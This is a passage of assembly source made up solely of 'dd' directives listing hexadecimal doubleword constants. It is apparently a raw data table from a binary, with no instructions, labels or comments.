		dd 0ACECCCE2h, 0CF194A00h, 0FB55EE74h, 2D7A0330h, 79029921h
		dd 3D9C01D0h, 8077063Ch, 933EE8E3h, 15DC4198h, 901E7B6Ah
		dd 0C5DE3F03h, 12E9970Ch, 7DE8EC08h, 8E938B01h,	0F49E925Ah
		dd 8874F823h, 16F0DE6Ch, 75E82B54h, 0D50A28A0h,	294FC81Ch
		dd 0B7CDECFh, 8AC40035h, 82178B76h, 0ED7F246Ch,	9708F200h
		dd 0C8F9CBB7h, 0A976DAh, 6BA16493h, 0D6CAC423h,	300A08D6h
		dd 0EC001C72h, 24918458h, 0A4F5E67Bh, 0E2C40594h, 909AE4FCh
		dd 82A77890h, 0E44682h,	75526896h, 7ACC4820h, 2847B903h
		dd 1C78D5h, 11AA0C61h, 35F9332Bh, 0C569D4A0h, 0BA029300h
		dd 0A1D3659h, 828600F7h, 2831897Eh, 6AE0958Dh, 98E86B07h
		dd 0DE3076E5h, 98D0C4F0h, 0A833EB4Ch, 0C774847Dh, 15B0F788h
		dd 0F017F492h, 0B9295518h, 0DC7D2DF3h, 9E8CC500h, 0FB232E9Fh
		dd 897616A8h, 8B1004D2h, 20B88448h, 39CDE3D0h, 0C452142Eh
		dd 30489B11h, 5A320F03h, 0C0C7F8E4h, 0B7899170h, 0C0B1B4E0h
		dd 7AC50Bh, 0C9ACAD44h,	91BC9340h, 39E30079h, 0AB50F988h
		dd 0BCEA034Dh, 7468D996h, 6E9872FBh, 0E902576Ch, 75C141B7h
		dd 0B09C8003h, 1C20C6FAh, 41D2661Bh, 4ECAEA6Dh,	31F860E3h
		dd 48444C94h, 7B2D9B40h, 2A2CA71Bh, 0E02C4CC1h,	870C7420h
		dd 1198010Fh, 1841F2B3h, 0B11FCF77h, 0C209376Ch, 63A6E89h
		dd 0C859B658h, 1B417F70h, 416032CDh, 0ECE81840h, 0F9F019B3h
		dd 0EF308E16h, 0D97E1E00h, 0A211764h, 4AF493FFh, 472E44D4h
		dd 0C19E0890h, 7398503h, 6A9B4C40h, 17D40006h, 2F129E5h
		dd 1E713E03h, 7D1FF4B8h, 1080DA8Dh, 0A6791477h,	1AE21474h
		dd 1BC8887Ch, 7DC5ED44h, 7ADE3080h, 0BCA05C52h,	0CAB289C0h
		dd 0BFF0729Fh, 8F17E28h, 5541EA0Ch, 965124h, 2BA9F5D4h
		dd 4C444359h, 70F4500h,	0BEF4B703h, 0BAD60136h,	8FAFB369h
		dd 223429E4h, 75A30A9Ah, 2801029h, 7E8E5565h, 0E6860460h
		dd 0B2D2DD14h, 0C09848ECh, 0D553E4EFh, 0C75005Fh, 0A23A3E81h
		dd 0F41F0E13h, 0F5C29859h, 44168F60h, 0F2911864h, 61DCD9CBh
		dd 709FEE00h, 3588DD9Dh, 8EE327F5h, 0BD0023D6h,	0EEEA78BBh
		dd 31860EDEh, 5B408875h, 0C5052CD3h, 14E271Ch, 1B2F65C0h
		dd 721F9F6Dh, 0D511C0C4h, 796FDF4h, 70D88B3Ah, 2E4B1907h
		dd 0F8C01FFAh, 0C0F510E7h, 803AF789h, 4B0188DEh, 5A899075h
		dd 2C2018C3h, 0C84D449Ah, 0AEED2A0Fh, 337A20EAh, 0A83056B0h
		dd 7D8461BCh, 68380155h, 0A7B2AA6Fh, 99D3F04Bh,	0D09534A8h
		dd 7D158F0Eh, 1EDDA23Fh, 4084CADEh, 400BF618h, 1A1CC59Bh
		dd 5D038140h, 0A2791DC6h, 0BED0007Ch, 5A7BE224h, 13A4EB0Eh
		dd 8C01DC1h, 0F8DB32E1h, 0F5A00750h, 80C9800Ah,	0F2588B83h
		dd 0B6E7D20Bh, 981980D4h, 38811E27h, 1B010B73h,	4D86D33Ah
		dd 82D428A3h, 6E1C17EEh, 756505E8h, 9456846h, 0B0687BE4h
		dd 17007C8Eh, 8C862B0Eh, 78236230h, 63070740h, 929EF480h
		dd 40582F8Fh, 39700333h, 72F5AA1Ah, 48E07D24h, 65C0AC06h
		dd 8EADF791h, 0B444C94Ah, 98479A4Bh, 5212D0E0h,	0AA7E0E8Ah
		dd 0B4885D12h, 0F8CB9C00h, 7144B78Ch, 0DDE40064h, 0C58F4C04h
		dd 0BD70D2A8h, 83A4DC3Ah, 0D60D24F3h, 683844CDh, 7AF2EC6Bh
		dd 93400F5Eh, 5CDFA5h, 0C0CABB87h, 0DD00E852h, 0AC55C111h
		dd 938F563h, 10E335C7h,	0FE5D6068h, 4E00D378h, 0A56BF7A9h
		dd 317189h, 624B5840h, 0FF06602Ch, 180D517h, 7DE8B858h
		dd 0B81F00C7h, 5DFDC88h, 2D050B89h, 4D7B58D9h, 0A4A54881h
		dd 0CA1190F7h, 7A76021Bh, 0CDDDF735h, 4BDCA060h, 1F60B73Ch
		dd 0C9CB635Ah, 8EFB04ECh, 0ACC0F484h, 5F36DB0h,	0FF6682Eh
		dd 329805E5h, 0CB5CC277h, 0B024AC62h, 0C654C77Eh, 0F60011ECh
		dd 62ABA912h, 17DDD8B8h, 32C8924Eh, 0D42030ACh,	9471DFh
		dd 6CCBEB8Ah, 0BC2AC07Eh, 809D5A7Ah, 3D697942h,	0C8980086h
		dd 8543DC22h, 0D8001AACh, 6DD448Eh, 1DC2CBh, 9A48279Dh
		dd 0E8FEEA73h, 0E5CC3107h, 75E44A97h, 2AD040C8h, 98DC4678h
		dd 1ACD000Fh, 825806ABh, 6C00FA88h, 0CA918EE4h,	0B0204008h
		dd 98341738h, 0E084143Fh, 424731C0h, 0B4045132h, 0AB92AED8h
		dd 1988A0F0h, 28074F90h, 4C986075h, 5FB2A905h, 984139F3h
		dd 0C57E388Dh, 38AC1D0h, 0EE9CA943h, 0EAA0A141h, 0B6000FACh
		dd 70E2F3A7h, 0CEC1598h, 8608D1EBh, 0E800DA30h,	0C2AF2C42h
		dd 1E5288F3h, 1C84FC83h, 60280F23h, 0DA9CA003h,	752B6007h
		dd 0FD8EEh, 1E6D375Ah, 0F70E188Fh, 0B021815Fh, 630759CFh
		dd 0D14B675Bh, 2081DC55h, 7ED17511h, 89518076h,	0EFB4EB30h
		dd 41DF84h, 2BD7ABA4h, 10DFB83Bh, 0AC4EB900h, 0F321BAFh
		dd 0CA3FBA33h, 80C1839Fh, 39018CA1h, 5816BC06h,	7C08BD71h
		dd 0C359D761h, 0E6DCA6C2h, 0EF780087h, 2AFCF162h, 30FAE17h
		dd 0A0C474D1h, 0E3CB8E1Eh, 64BA3890h, 62488B30h, 0A1076860h
		dd 0C158F49Ah, 9ACE820h, 766A98ABh, 301C786Ch, 0EDA00C67h
		dd 0A03C6272h, 68170109h, 99F4DB04h, 7BED8C49h,	11F8048h
		dd 0EB54D12Dh, 8C16302Bh, 2184A071h, 5F220349h,	6126C3ABh
		dd 1669D1E0h, 0DCE5FF2Fh, 8F671E0Eh, 1040EC8Dh,	35767C0Eh
		dd 5483FE05h, 84234E40h, 22C5EA38h, 104BB943h, 297143BFh
		dd 80BD1938h, 0DEA466A5h, 9167CAh, 313A9733h, 0AE7D5BD8h
		dd 26493B7Eh, 872208h, 0B6620D22h, 0BFF5F713h, 503B4900h
		dd 0BD9F4899h, 29936A80h, 4C590044h, 5BF4033Eh,	0B1030EE4h
		dd 57668780h, 0B8A901B9h, 5386AE6Ch, 0A333D083h, 3070206Ah
		dd 0A29F2F10h, 20E05DFEh, 3CB943Fh, 76B16C90h, 31E4A945h
		dd 81DA1421h, 8F428740h, 5BED3980h, 3CBA233Ah, 0A1D92237h
		dd 5147D05Ah, 91843AD0h, 0C2723050h, 7FE8DF79h,	92F64D00h
		dd 0FD35D4CCh, 0AFE30256h, 85099CC0h, 0C2ED2085h, 4C44AE3Eh
		dd 0F15BEA0Fh, 71AF87CDh, 2651ACh, 0D283B9F2h, 40A1C4FAh
		dd 45AA7300h, 0E9DEB6A0h, 0BB0E202Bh, 0B4B08D07h, 9FE68F39h
		dd 918900D1h, 0CC1BEE03h, 0EA003C8Eh, 0EB06A449h, 1E457ACh
		dd 887F59D6h, 8317F807h, 0C6DC09F0h, 86F8A624h,	785A00CCh
		dd 74F39AC9h, 2A12BE58h, 44431002h, 5D071E1h, 0DF1FE2B1h
		dd 39EEC05Ah, 4C00243Ah, 0A696299Eh, 7DC25D45h,	0ADC809ECh
		dd 1C80C5C1h, 8289E195h, 248DB300h, 9858ABC6h, 3E0A45Ah
		dd 7013AD0Ch, 9BE0462Eh, 0B2B8587Ch, 0A8DED12Bh, 91F0641Dh
		dd 7F28C3C9h, 8F320072h, 0B2BD6CE4h, 637068F5h,	0CE45C500h
		dd 90E08D50h, 0B6E8CED9h, 54870690h, 4451B8B4h,	0EE004E0Dh
		dd 4CF6A2CFh, 7A138D7h,	668F93F9h, 29A9C079h, 0F1043E11h
		dd 0A3701DFDh, 312B0CC0h, 0ECCA89Ah, 4C2C4818h,	0E3838588h
		dd 0E84BE044h, 0A71A904h
		dd 0D2E687D6h, 469806D0h, 0BA488916h, 0AB87C290h, 950468Eh
		dd 0E8FFAC4Ch, 21F06428h, 704887D8h, 5859A00Ah,	0A118FC1Eh
		dd 3B2839CFh, 0D065898Ah, 5900B17Eh, 3E315569h,	7DE88BE2h
		dd 7E16DD36h, 19309298h, 4101CBE1h, 2A2DE03Dh, 4980BC0Dh
		dd 0C6C3C2DFh, 0D4C9125Bh, 38C0A40Ah, 91714488h, 41250F90h
		dd 4E52C03Eh, 0ACB3723Fh, 0BA31E8C2h, 8E4C8083h, 3D123854h
		dd 50CC49C6h, 0F0679614h, 71809480h, 6000EF43h,	0B895E90Bh
		dd 3732C1Fh, 11D5CD46h,	7102D818h, 5770EDEh, 8BAC85D9h
		dd 49F1CC1Dh, 718391A0h, 86F9A3FFh, 4C3BCF80h, 0C02844E2h
		dd 93ACE3h, 49016422h, 30A4E4A2h, 30884DF4h, 3F8AF2CCh
		dd 8096485h, 65011CBh, 0E80A9D10h, 5F52E900h, 5E3FD626h
		dd 45FCA87Eh, 0A3ED88E6h, 387B9C44h, 0DF80758Ch, 0F24356C9h
		dd 6490EC35h, 38B64824h, 39A8DA19h, 2B88C308h, 16C80CB2h
		dd 0D830F642h, 2622AB43h, 0F56AEA3Dh, 67307B7Bh, 3632A90Bh
		dd 0DB69021Ch, 9F8C8673h, 3FF94A43h, 93DDED6Bh,	602042B0h
		dd 76D1A380h, 847CF0DBh, 39FC5C00h, 9FA80F18h, 301E090Bh
		dd 0D8902C47h, 3C818BCBh, 0B253D440h, 0B80662DCh, 0A044FE30h
		dd 0F9C2F722h, 719B6FFh, 301FE9E1h, 5049063Dh, 2966F631h
		dd 99878821h, 3017BCEFh, 234724A7h, 316FD200h, 0F6846976h
		dd 50861E26h, 3064458Bh, 5818C189h, 0C2B5C5F1h,	0A3C19863h
		dd 75C45090h, 7D3AF746h, 645804BEh, 54C36191h, 0ABEFE287h
		dd 0B408189Ch, 6D001F9h, 2FC96DCBh, 0E214202Dh,	0E73B3922h
		dd 0C065C052h, 0CE89C764h, 7158A050h, 38FEF878h, 0CBCED900h
		dd 0DB20C2ADh, 4B430F01h, 2281DA5Fh, 8B757EF3h,	81338931h
		dd 1A444E94h, 21303452h, 0ECE2B982h, 7F007D80h,	0FF8B1770h
		dd 16AFEA20h, 50245733h, 0FB0778DCh, 61D55807h,	47BE5410h
		dd 0C7E320A8h, 0FD0498B8h, 0E8158FF5h, 413078C1h, 9BA0F98Ch
		dd 33002F41h, 0A2C97D70h, 54EAC9Fh, 823F0658h, 0C44494DCh
		dd 0A8E86060h, 442E5B83h, 6160F49Eh, 0E0FBAEFh,	325D04C8h
		dd 0D890720Bh, 0EB1EB556h, 709297FDh, 8CED6E03h, 8BD0A085h
		dd 4F200209h, 0BE22EB58h, 0D1F6AC48h, 800F3200h, 1E307F02h
		dd 0C2E500CBh, 12FFB906h, 7107F9F7h, 90DB0FA3h,	64CCF585h
		dd 147F3C03h, 37AC6A80h, 0E56F8C71h, 0C53DD6E6h, 0B9EB0007h
		dd 0B3E43FD9h, 45E892DCh, 17021FEh, 802A7124h, 27F8ECC1h
		dd 0FD92B9Bh, 0FF9C8088h, 0A05E9940h, 447B1B9Eh, 7A2CE74Ch
		dd 7CC553Dh, 583FD0FBh,	530D43F0h, 0B43B00A9h, 0E5B114D3h
		dd 20F4E59h, 80C31EE3h,	0F2DFB754h, 66580036h, 0F17939F8h
		dd 0BE1557BBh, 1D80767h, 4DFEAFF0h, 0D020AC54h,	91A89139h
		dd 800C4916h, 0D5976133h, 0F0D3E2Bh, 2AA63B05h,	0D444CC06h
		dd 80E107FCh, 0B5B7E131h, 3C0D7FBAh, 0F693EC30h, 90B002ADh
		dd 305A8221h, 0B52A8600h, 141960F4h, 81389158h,	45BDA467h
		dd 1C70629Eh, 4F47FD9Fh, 699DBA6Dh, 910865F2h, 0BDBA0961h
		dd 0E0941089h, 4D7EBBh,	5BE390DCh, 0A50C441Ch, 6264B4A1h
		dd 5550266Ch, 1080BE00h, 19EBCE3Ah, 8967057h, 8DC30D8h
		dd 44DCB222h, 0E0C495D4h, 7819DF25h, 61C0880h, 1311ED3Dh
		dd 0AC0199D9h, 0B9D4CE09h, 0E4237AFEh, 0B0F69303h, 29002B7Ch
		dd 18E8D71Eh, 284B4C6h,	3DC24D2Ch, 3CE03394h, 124847F5h
		dd 0C1EB8CC4h, 0AAA31DE1h, 0A08C4AE2h, 2761180h, 0B74A2BEAh
		dd 0BFC40D4h, 13C989Ah,	9184F0E1h, 702DA4B8h, 0C50488D4h
		dd 654F8DD1h, 4B2B1CB0h, 44B8303Ah, 3B443902h, 87D9C259h
		dd 0ECAF895Ah, 0B413848Bh, 0D17C40E3h, 0EA220498h, 40089663h
		dd 0E3E6661Fh, 0A27621Ch, 0EA0DC382h, 447221h, 7065D648h
		dd 2B0B6C5Ch, 0FFF07C05h, 4C1D5710h, 67BF6F05h,	2A2B888h
		dd 464C4471h, 1C053EFBh, 23ABDC32h, 313B0164h, 364D8ED3h
		dd 545047EAh, 0A9C1F6F1h, 5081E854h, 0DEFD1CE0h, 509242FCh
		dd 423E84AFh, 1412236h,	3975A8EAh, 20EFFCC4h, 0D341F90Ch
		dd 8B07D401h, 2ECEB710h, 6A5990C0h, 0A42D4Ch, 0F05A5BECh
		dd 4B9024E6h, 557BC400h, 0F4D392C5h, 0F31C0021h, 0D1A42A11h
		dd 0D8C832ECh, 49146418h, 0D2380499h, 19BF2146h, 5D011C74h
		dd 0DF7DB5F9h, 0CF70B380h, 0B1830011h, 9AD5A42h, 8B249DF4h
		dd 0C4268CB8h, 9414F608h, 1210E032h, 0D6721877h, 620F19h
		dd 27CC7145h, 6D9E5C2Dh, 0DE841803h, 0C0ED70FBh, 0B97D6E93h
		dd 442B0010h, 8E681CF5h, 6AF80300h, 245AEA55h, 61B90011h
		dd 0C6BC7532h, 9D02B7CAh, 58F48231h, 70E473h, 684DE05h
		dd 0E3483ADAh, 74EFA42Eh, 9161681Dh, 708226A1h,	44031D08h
		dd 0D4082541h, 28718C99h, 3C005619h, 9131058Fh,	1C6C54Ah
		dd 0A0DB79BAh, 0E27E3F09h, 0B342DCE4h, 8A76B0Bh, 0A3234090h
		dd 9C181B3Bh, 0E140F0BBh, 97B16834h, 8B45585Bh,	0DCBDF500h
		dd 5974634Ch, 0F2244F00h, 553886EFh, 0C9F3077Ah, 81773229h
		dd 0F0A12DB5h, 7206602Bh, 0B2AD985Bh, 8642479h,	0D1208728h
		dd 3671E0D4h, 0D01FD4Ch, 3D5887B8h, 2920D8E4h, 46C300FBh
		dd 5495CEB9h, 45E8E53Bh, 0D319F1F1h, 73C0191Fh,	0E0AA9707h
		dd 0BCC14480h, 0D928C0C8h, 2D5ABFB0h, 833473Eh,	649D5173h
		dd 32B14388h, 1F31C827h, 968C4ACh, 5DC04292h, 0EC6A03B6h
		dd 7E03087Ch, 0DE78301h, 9A9EF8E2h, 0A1041D0Bh,	80C69F18h
		dd 0DFC173CBh, 7B061EDBh, 9348E84Fh, 92AA3CB1h,	0CDC9C9B0h
		dd 9F319B84h, 0F91E11FFh, 0EF62270h, 6ED31D0Ch,	0FC3BC0FEh
		dd 0FBE0B22Dh, 48902628h, 39EE744h, 0A3D3464Dh,	0CFE80CEDh
		dd 1202A07Eh, 2A7D6983h, 8E5260A6h, 0AC050C9Ah,	7639E06Ah
		dd 656C6B00h, 444D98F8h, 3BC1FCBAh, 0E68A9AB6h,	607CB95Eh
		dd 94F8F7C3h, 2C37AB0Fh, 0C7EF021Ah, 5ABF4025h,	2B070FFAh
		dd 0C0FEEC32h, 0A88E2603h, 0BD14DE50h, 11842276h, 0C0406649h
		dd 0D959C0E1h, 65EFAD7Fh, 0C93B2D1Ch, 0D4231A8Ah, 0E8ECAE00h
		dd 1844A8B2h, 31CF12C0h, 49C196C6h, 0AAD5805Ah,	972F8C4h
		dd 54A4B7Fh, 0DF996400h, 671E9DCCh, 0E2C1215Fh,	4495B12Ch
		dd 1C233880h, 0DE51F754h, 7350ED54h, 30C8AD88h,	0FB89063Bh
		dd 88A84B1Dh, 0AE1556E5h, 3CC4CD44h, 0DF3A0C45h, 3F422143h
		dd 0B805AC88h, 222A143Bh, 7A20ADDCh, 0B80F4A65h, 44E40A79h
		dd 44E4E5C2h, 830490E3h, 0FC044F67h, 7493BB1Ch,	12CC188Ch
		dd 234AE998h, 68109128h, 94882DE4h, 59E96A8Ch, 53AC00FDh
		dd 399AC46Bh, 0CB0F1CE2h, 0C3075B4h, 0FBCAE874h, 84D1B11h
		dd 1B0008Bh, 32FD2B91h,	98FCE9E2h, 0E33579C5h, 9D33B600h
		dd 6079CB37h, 56E43942h, 3BE01345h, 92024C03h, 2335755h
		dd 35918B40h, 0C41A978h, 847A0CE5h, 0BBC621h, 5714C1F5h
		dd 0D2242760h, 540460E7h, 4C8E437h, 7D4344C1h, 0A64E5106h
		dd 41B7A1h, 3619D9D8h, 4F7AE42Fh, 63771C9Ah, 7CF75481h
		dd 4F64829h, 88749110h,	10B6906Dh, 0FC407A5Eh, 9EE944C2h
		dd 0C300DC91h, 8D2E7B6Ch, 36890303h, 50E2B46Eh,	0E496F8C0h
		dd 6F12AB00h, 85CAFF7Fh, 99C40077h, 11CEA0C2h, 509E104h
		dd 828FE7ADh, 110EA844h, 3F78161Eh, 0C006B404h,	0D0E173DFh
		dd 0D13A8E18h, 3BAA95A9h, 0CC8C5359h, 0F8A1CF10h, 1DA22C88h
		dd 80BD4491h, 0F6A7B57Ah, 960599E0h, 0C577D6A6h, 73958004h
		dd 0BA275B22h, 3C84618Ch
		dd 4D00648Bh, 0F2276378h, 0AC060614h, 9BB22B7Ah, 74920231h
		dd 592FFC53h, 3D544448h, 0C589FA63h, 79290042h,	0E24BE12Eh
		dd 0E400053Eh, 916A8C46h, 3A90DE99h, 104C4568h,	8847E884h
		dd 0EC81AD78h, 0CC2ACE0Dh, 0D2854E07h, 0ECE15EE0h, 3BA10365h
		dd 90F4369Dh, 0AE2491A4h, 6C8C04EEh, 971005AFh,	80647CCAh
		dd 7DB3B74Ch, 0CC708300h, 713DD92Ch, 0C1380E49h, 36A0DF11h
		dd 73567CC0h, 6492E303h, 0E515FC55h, 86605488h,	6A1B1A42h
		dd 59E071E8h, 330E0E75h, 0C1C4C99Ah, 4662BB8Eh,	1DC482F2h
		dd 80E1174h, 9B0A8848h,	32E12B00h, 210C4F15h, 3860FF27h
		dd 2305415Fh, 0FF191D24h, 0A7022484h, 0EDA0AE0Fh, 43B88DCBh
		dd 1B2FB000h, 17018403h, 893701E2h, 5AFEF91Fh, 0AF90307Bh
		dd 18CF442Ch, 962D3640h, 0FD513E5Eh, 42F03C26h,	10117741h
		dd 0E96AAD10h, 5FADF88h, 5072BAEEh, 0C6E38019h,	6D16BC34h
		dd 0E0049DD6h, 0DE2192FDh, 2260222Eh, 0B06200E6h, 6E9DA023h
		dd 6C919F84h, 0F1D35D00h, 26B08697h, 90C91D6h, 0AF858440h
		dd 46B8453h, 0E1A278Ch,	1C2176E8h, 1C2454BAh, 321D0043h
		dd 3E3A2837h, 3D028677h, 0EE084614h, 10FC899Ch,	132BB628h
		dd 377F5531h, 7A40D840h, 19A149F5h, 0C8E4C6FCh,	62E81051h
		dd 0E4A542h, 0DF2E467h,	8D04AB81h, 0A342EE11h, 0B1682306h
		dd 26946022h, 408C6B35h, 0E28346D2h, 4A3DB613h,	2070344Fh
		dd 0F131D38h, 0A1111089h, 0C2AF0084h, 0A8B36888h, 3001417Bh
		dd 618A9A20h, 0D913BC64h, 9C5C91FDh, 89DE082Dh,	0D440406Ah
		dd 38027F3Bh, 47DF480Fh, 8A843B6h, 423449E8h, 82004A91h
		dd 43D01889h, 0C72CD745h, 17088061h, 302824A0h,	0FA3CF429h
		dd 0CAC7D909h, 69A40101h, 0C5019216h, 0A2701796h, 2C0B58h
		dd 1D83D135h, 0CFD91621h, 9CE8B3EEh, 4C669100h,	6ACACC4Dh
		dd 3509CA6Ch, 92A23BDCh, 6C5A1A28h, 0F74EA44h, 37A029CBh
		dd 1B945D60h, 10082F4h,	3917B2F7h, 5036872Fh, 42E9F4F3h
		dd 4C6C2EFDh, 37404E64h, 9C817B17h, 89357C00h, 271357C2h
		dd 24B9BBh, 0D6CBCA8Ch,	0B500666Fh, 56BC8A5Eh, 14AFD7EAh
		dd 94E227F3h, 13AD8F10h, 88206A35h, 0BD00Eh, 3E386CE8h
		dd 89C72F7Bh, 5DAA79C3h, 0CC8E852h, 1B8B00D6h, 945AF95Bh
		dd 4200328Ah, 0B5B65822h, 8F717h, 2DE3313Eh, 97BE6EB0h
		dd 2015C03h, 0F812C985h, 9F55C7h, 1ED83782h, 0AD547159h
		dd 88021878h, 0FE3E8C98h, 0C680607Ah, 0E81C042h, 1ED3582Ah
		dd 98354C00h, 0C7FB5EE1h, 660113C2h, 7170045Bh,	21582277h
		dd 9DFECB44h, 0D5C0D9E1h, 0DA7FBA82h, 4384A0E3h, 59C988AAh
		dd 923BF500h, 137C664Eh, 770E01C8h, 0C604F8CDh,	57587047h
		dd 19F6BF1Dh, 4DB77340h, 0FE2E0C7Bh, 5A71C040h,	0F3C3AE3Ah
		dd 0B59B3905h, 0EC086A4Eh, 0EF665D5h, 0C9C09A48h, 3618A8B8h
		dd 28CDE32Eh, 0C4A62642h, 7F4EE040h, 0C63A18B8h, 0C53669AFh
		dd 8AB11800h, 27628BE2h, 989B4812h, 0A7D23160h,	0EB0F4498h
		dd 0A9AE6A39h, 0A338983Dh, 984E644Ah, 0CF3031D1h, 4866E801h
		dd 5760BAFCh, 0F7E39189h, 77B0001Dh, 0E2CCC42Dh, 0BDF49722h
		dd 0A2D84748h, 0F1306602h, 3F879D10h, 1009278h,	9E808F53h
		dd 1DE6216Dh, 0C9C3CC72h, 5021652Ah, 1DE4CF3h, 1B10EC6Bh
		dd 1F00D0F2h, 0D6D2EF36h, 0A804DEBh, 217A91D9h,	0C06401F4h
		dd 0FA3E5712h, 27269C51h, 50C89E12h, 31DD0418h,	82B2A985h
		dd 6A197D1Ch, 74EC3510h, 6BD50B14h, 8EF2011Ch, 0C108CB49h
		dd 5E07282Ch, 0D3E0AB2Eh, 7103365Fh, 0C7DBDF44h, 0F0C1C8E2h
		dd 41E3606Bh, 84D25967h, 6A756C75h, 5BD64702h, 0C0ADE108h
		dd 9176A178h, 0B7C16260h, 0F40BB525h, 6A90A46Eh, 1EB46C88h
		dd 40C13E31h, 27AF3755h, 0A47767B6h, 12AD221Eh,	11708E9Fh
		dd 302F1493h, 0D76188C6h, 51007334h, 39A1CC05h,	3711BF9h
		dd 0DA1D4DDFh, 8294A676h, 16198114h, 903C8A13h,	3CC902h
		dd 13ECFC50h, 5348ADD8h, 704C8838h, 9401D45Ch, 33F06593h
		dd 855890E3h, 0E88620C8h, 24A18A65h, 0BD4050BAh, 0EB861F75h
		dd 0C4468157h, 0EC2155F9h, 0C2386F25h, 0B858783Eh, 10671074h
		dd 0EB388A00h, 0E5CEC8F4h, 48D71300h, 71B7C763h, 77C20023h
		dd 0C8C0FBADh, 9B2C8505h, 640C09Fh, 48C58E39h, 0AD2510BCh
		dd 0E4942894h, 5202E09h, 0A820C500h, 24619635h,	0E5E8921h
		dd 1D07A081h, 0DF70800Dh, 3751C60Fh, 90182CD0h,	68F332C8h
		dd 110E19D1h, 66F0C335h, 524E843h, 6BDFC0AEh, 4DE49318h
		dd 48BA49E4h, 1C28D214h, 43C1FF3Ch, 5746FE6Ch, 7591C3B8h
		dd 0AF5EEF04h, 0B8D0200Ah, 5CB687D8h, 0B849CCC0h, 21DCADC0h
		dd 0BB4CE55Fh, 0C17D00AFh, 0CD820B2h, 0B0F564A6h, 42C431D5h
		dd 4C446B12h, 13257800h, 561FE49Ch, 64E925ECh, 92B6B824h
		dd 44C96FF4h, 0C83DBAh,	55D1A0CFh, 2DBF24Fh, 7C705307h
		dd 48E073BBh, 370FA9ECh, 4F74D2E5h, 0B03E024Dh,	0A2F443A2h
		dd 168ECABh, 2193485Ch,	0F13BF244h, 541983E2h, 0EF57D855h
		dd 29D1DDF0h, 876E244Eh, 0FCB50848h, 20571E44h,	974C337Ch
		dd 1093FC12h, 0A7660002h, 408904AAh, 28D702D0h,	93F201A2h
		dd 0F63734CAh, 70AD8CDh, 0EAADBB00h, 0BED13B49h, 5C480552h
		dd 80E55D02h, 6968F18Ch, 0BAB1F20Eh, 8471011Bh,	0A0247211h
		dd 343B5C55h, 285BC1C4h, 186000AAh, 33C28EA4h, 1400BD77h
		dd 0F0644629h, 10207E06h, 805F789h, 9ADFBE2Fh, 288441FAh
		dd 5552397h, 4E8A2E61h,	0FB22C1DDh, 0ECA3E0E5h,	3318C305h
		dd 84046E9Bh, 0F5057D26h, 44348A02h, 84001E50h,	0B1D52AFh
		dd 48732D83h, 37F29D6h,	0CFA6AC90h, 0A09E7C7Fh,	21C4B953h
		dd 8EE11022h, 60230E1Eh, 34DA679Ah, 7FB1045Bh, 0D0962760h
		dd 0EC47E590h, 5750A214h, 304124F0h, 6AF2CA87h,	0AB9D004Fh
		dd 0C515C644h, 2C7BE861h, 0D3072380h, 0DA50E0F8h, 0F0883403h
		dd 129781A3h, 814D40A9h, 8FD75D0h, 38C08A2Fh, 0C00282D1h
		dd 5570228Ch, 1118D856h, 13B22A07h, 4CC89ADEh, 8054B148h
		dd 8E672AC6h, 0A8B80CF7h, 0BB23D1Fh, 95028C2Ch,	726B3A54h
		dd 0C3CF0FE4h, 44725B86h, 0B487ACh, 7CE97635h, 0CFD9C0A6h
		dd 33746D38h, 1870935Bh, 4F2732B2h, 461422A0h, 86FEFB24h
		dd 3C9998AAh, 38F4080h,	30BB46B0h, 7DA012C1h, 3B88C6FDh
		dd 99C08A6Eh, 0CF4F6736h, 0B6B89821h, 11E57F11h, 79E0AAAEh
		dd 553B1BD6h, 0D9E26965h, 0FC9BEC60h, 0E5B140C9h, 20BB1650h
		dd 88A1EB14h, 6DC3E300h, 54048179h, 0C2F302D2h,	0FDCDF4CAh
		dd 0B8636342h, 423D31F4h, 46ECC417h, 381FC9Eh, 7278C81Fh
		dd 0C9F89112h, 0DA18901Dh, 0DB987540h, 0C5D980FDh, 0E6948B44h
		dd 0D48A0056h, 0CCF20426h, 0B8001B31h, 10056DA4h, 0F71549Fh
		dd 74903BA0h, 0C7807CA9h, 0F0B1604Dh, 0AB349C05h, 808CAFD1h
		dd 1A4C1D02h, 0A18240EAh, 2F5FC99Dh, 62E4500h, 4AD1C8F1h
		dd 0C5442EE1h, 8E86818h, 30443168h, 0FBB8F64Ch,	389E94B2h
		dd 19797340h, 0C0620004h, 8E7C7EDAh, 0CF594E92h, 0DD3D7058h
		dd 1DFE0C9Ah, 606A99AEh, 62C271E6h, 5158D505h, 0EE7C0011h
		dd 6531FED7h, 3C184DDFh, 0C6FC2276h, 7027234Bh,	5A0EBB38h
		dd 0BC60FFF7h, 86A85768h, 54E5E403h, 9762D426h,	5EB8E069h
		dd 10EA899Bh, 0ECF98976h, 9313003Ch, 0B08C607h,	59007964h
		dd 0D952F728h, 5A2C96E3h
		dd 0E12C24B1h, 0C0582C48h, 1DC0AD2Bh, 27301457h, 62DDA070h
		dd 89BCC558h, 90649482h, 408A2088h, 2138CCA0h, 8094CB8h
		dd 44D03957h, 0B0AFEC4Ch, 23E54458h, 5B00F5FAh,	5258F756h
		dd 0FBFA7DCh, 3314A4C5h, 0E2F43BC4h, 3C9822A0h,	40413654h
		dd 9FE335A0h, 0BC11E260h, 675FD9Bh, 7F59CCE0h, 7CB4C697h
		dd 7908E890h, 0E580FA9Fh, 7A0EC870h, 1E990069h,	0AC445885h
		dd 3F050F43h, 0C7BE36D1h, 0A6F7A000h, 0AD5FD0h,	99287713h
		dd 6A227CC2h, 4E008470h, 7DCD4560h, 237837Bh, 0B227BED9h
		dd 0B8859BC4h, 0B520C2DAh, 88455918h, 0F7057955h, 0A94B6E12h
		dd 8C0778C3h, 0C456049h, 92402E1Fh, 0A2A4132Bh,	0EC08008Ch
		dd 0F72FAB4Ah, 190739E5h, 0C24D3FACh, 0BCC86A15h, 0E9E20C35h
		dd 0ED51A749h, 8265F23Dh, 0E057795Ch, 16B06194h, 3CC4FB11h
		dd 299F83C8h, 0AD48006Eh, 6AFA1812h, 4E758EA6h,	28B68809h
		dd 733081AEh, 6C127B03h, 40535C84h, 0D0E46784h,	5350019h
		dd 0A991BB9Fh, 0C8FE01EAh, 0B6F1E300h, 9C9E2761h, 60F8941Eh
		dd 99375AF5h, 65F3B21Dh, 91919F0Ch, 984494C0h, 0E278FC7Fh
		dd 77236A01h, 0BC1C26ADh, 12C061CCh, 22B7B3Eh, 0DFABCBC8h
		dd 2461F426h, 8008E09Eh, 658701A5h, 7E139C12h, 0E40BBB56h
